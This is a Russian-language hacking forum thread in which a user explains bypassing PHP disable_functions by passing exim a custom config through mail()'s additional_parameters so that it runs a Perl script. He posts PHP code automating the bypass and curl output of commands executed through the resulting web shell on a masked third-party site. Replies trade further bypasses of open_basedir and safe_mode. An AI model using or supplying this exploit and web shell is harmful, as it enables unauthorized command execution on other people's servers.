PDA

Просмотр полной версии : обход disable_functions через функцию mail


t0ma5
28.08.2015, 21:28
ковырял один сайт, позарез хотелось обойти disable_function, обнаружил один способ

в пыхе при вызове функции mail() можно передать необязательные параметры "additional_parameters"

.SpoilerTarget" type="button">Spoiler
Параметр additional_parameters может быть использован для передачи дополнительных флагов в виде аргументов командной строки для программы сконфигурированной для отправки писем, указанной директивой sendmail_path. Например, можно установить отправителя письма при использовании sendmail с помощью опции -f.

Параметр автоматически экранируется функцией escapeshellcmd(), чтобы не допустить выполнение команд. Но escapeshellcmd() позволяет добавлять дополнительные параметры. В целях безопасности рекомендуется проверять и очищать этот параметр.

Так как escapeshellcmd() применяется автоматически, то нельзя использовать некоторые символы, допустимые к использованию в email-адресах некоторыми RFC. mail() не допускает такие символы, поэтому в программах, в которых они требуются, рекомендуется использовать альтернативы для их отправки (например фреймворки или библиотеки).

Пользователь, под которым работает веб-сервер должен быть добавлен в список доверенных в конфигурации sendmail для того чтобы избежать добавления заголовка 'X-Warning' при указании отправителя с помощью опции (-f). Для пользователей sendmail - это файл /etc/mail/trusted-users.
это параметры будут переданы при вызове sendmail

можно передать альтернативный конфиг( опция -C ), в котором вызвать выполнение perl скрипта( опция -ps )

особо нигде не тестил, только на своем сайте - php 5.4, exim версия под спойлером

.SpoilerTarget" type="button">Spoiler
Exim version 4.76

Berkeley DB: Berkeley DB 5.1.25: (January 28, 2011)

Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc GnuTLS move_frozen_messages Content_Scanning DKIM Old_Demime

Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmnz dnsdb dsearch ldap ldapdn ldapm mysql nis nis0 passwd pgsql sqlite

Authenticators: cram_md5 cyrus_sasl dovecot plaintext spa

Routers: accept dnslookup ipliteral iplookup manualroute queryprogram redirect

Transports: appendfile/maildir/mailstore/mbx autoreply lmtp pipe smtp

Fixed never_users: 0

Size of off_t: 8

Compiler: GCC [4.6.3]

Library version: GnuTLS: Compile: 2.12.14

Runtime: 2.12.14

Library version: Cyrus SASL: Compile: 2.1.25

Runtime: 2.1.25 [Cyrus SASL]

Library version: PCRE: Compile: 8.12

Runtime: 8.12 2011-01-15

20:06:28 36459 Total 18 lookups

Library version: MySQL: Compile: 5.5.28 [(Ubuntu)]

Runtime: 5.1.73

Library version: SQLite: Compile: 3.7.9

Runtime: 3.7.9
набросал небольшой код для автоматизации, под спойлером

.SpoilerTarget" type="button">Spoiler


Code:
$path/tmp.result');print A \"\$a\";close(A);");
file_put_contents('ex.cf',"perl_startup = do '$path/tmp.pl'");
mail('q','q','q','',"-C$path/ex.cf -ps");
echo file_get_contents("$path/tmp.result");
unlink("$path/tmp.result");
unlink("$path/tmp.pl");
unlink("$path/ex.cf");


результат работы -

.SpoilerTarget" type="button">Spoiler


Code:
ktulhu@ktulhu:~$ curl 'http://********/q.php' --data 'cmd=which wget;wget -h | head -n 3'
disable_function: pcntl_exec,popen,exec,system,passthru,proc_open,sh ell_exec,ftp_exec,chmod,ini_restore,dl,symlink,chg rp,putenv,getmyuid,posix_setuid,posix_setsid,posix _setpgid,posix_kill,apache_child_terminate,virtual ,proc_close,proc_get_status,proc_terminate,proc_ni ce,getmygid,proc_getstatus,escapeshellarg,show_sou rce,pclose,safe_dir,chown,shown_source,mysql_list_ dbs,get_current_user,getmyid,leak,pfsockopen,syslo g,phpcredits,pcntl_alarm,pcntl_fork,pcntl_waitpid, pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_ wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl _wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl _get_last_error,pcntl_strerror,pcntl_sigprocmask,p cntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getprior ity,pcntl_setpriority
cmd: which wget;wget -h | head -n 3
result: /usr/bin/wget
GNU Wget 1.13.4, a non-interactive network retriever.
Usage: wget [OPTION]... [URL]...

ktulhu@ktulhu:~$ curl 'http://********/q.php' --data 'cmd=uname'
disable_function: pcntl_exec,popen,exec,system,passthru,proc_open,sh ell_exec,ftp_exec,chmod,ini_restore,dl,symlink,chg rp,putenv,getmyuid,posix_setuid,posix_setsid,posix _setpgid,posix_kill,apache_child_terminate,virtual ,proc_close,proc_get_status,proc_terminate,proc_ni ce,getmygid,proc_getstatus,escapeshellarg,show_sou rce,pclose,safe_dir,chown,shown_source,mysql_list_ dbs,get_current_user,getmyid,leak,pfsockopen,syslo g,phpcredits,pcntl_alarm,pcntl_fork,pcntl_waitpid, pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_ wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl _wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl _get_last_error,pcntl_strerror,pcntl_sigprocmask,p cntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getprior ity,pcntl_setpriority
cmd: uname
result: Linux

ktulhu@ktulhu:~$ curl 'http://********/q.php' --data 'cmd=cat q.php'
disable_function: pcntl_exec,popen,exec,system,passthru,proc_open,sh ell_exec,ftp_exec,chmod,ini_restore,dl,symlink,chg rp,putenv,getmyuid,posix_setuid,posix_setsid,posix _setpgid,posix_kill,apache_child_terminate,virtual ,proc_close,proc_get_status,proc_terminate,proc_ni ce,getmygid,proc_getstatus,escapeshellarg,show_sou rce,pclose,safe_dir,chown,shown_source,mysql_list_ dbs,get_current_user,getmyid,leak,pfsockopen,syslo g,phpcredits,pcntl_alarm,pcntl_fork,pcntl_waitpid, pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_ wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl _wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl _get_last_error,pcntl_strerror,pcntl_sigprocmask,p cntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getprior ity,pcntl_setpriority
cmd: cat q.php
result: $path/tmp.result');print A \"\$a\";close(A);");
file_put_contents('ex.cf',"perl_startup = do '$path/tmp.pl'");
mail('q','q','q','',"-C$path/ex.cf -ps");
echo file_get_contents("$path/tmp.result");
unlink("$path/tmp.result");
unlink("$path/tmp.pl");
unlink("$path/ex.cf");


само собой нужно чтобы была дира для записи, exim4 поддерживал перл и сам юзер( из под которого работает пых ) имел права на запуск перла

сори если не в той ветке пишу, потестите у кого будет время

nikp
31.08.2015, 11:28
Рядом лежит более универсальный способ.

https://rdot.org/forum/showthread.php?t=3309

Но первым тему раскопал tipsy.

==

По любому - молодец.

==

t0ma5
02.09.2015, 15:42
nikp said:
↑ (https://antichat.live/posts/3886051/)
Рядом лежит более универсальный способ.
https://rdot.org/forum/showthread.php?t=3309
Но первым тему раскопал
tipsy.
==
По любому - молодец.
==


да этот линк у меня в закладках

к сожалению не работает, предполагаю что из ограничения open_basedir

то есть /proc/self/exe и /proc/self/maps попросту не читаются

попробую на днях обойти open_basedir и заюзать https://rdot.org/forum/showthread.php?t=3309 если это в принципе возможно, кстати может кто сталкивался с подобным, может быть уже есть решения?

p.s. способ который описал выше на целевом хосте тоже не отработал продебажить сложно, пока не знаю почему

p.s.s. идея пришла после прочтения статьи http://oleaass.com/exploit-php-mail-remote-code-exeution/ кто первым раскопал не знаю, можно пруф на тему tipsyпочитать?

nikp
04.09.2015, 14:43
Линк дать не могу, но за основу можно брать это https://bugs.php.net/bug.php?id=46741, (https://bugs.php.net/bug.php?id=46741)

например https://rdot.org/forum/showpost.php?p=38750&postcount=16

выручало много раз, обходит и open_basedir и disable_functions и safe_mode.

Cennarios
15.09.2015, 19:27
nikp said:
↑ (https://antichat.live/posts/3887440/)
Линк дать не могу, но за основу можно брать это
https://bugs.php.net/bug.php?id=46741, (https://bugs.php.net/bug.php?id=46741)
например
https://rdot.org/forum/showpost.php?p=38750&postcount=16
выручало много раз, обходит и open_basedir и disable_functions и safe_mode.



К сожалению, работает далеко не во всех случаях. Что очень печально.

t0ma5
04.03.2016, 16:50
гыгы народ зашарил что если exim работает из под рута, то это плохо))

http://www.openwall.com/lists/oss-security/2016/03/03/6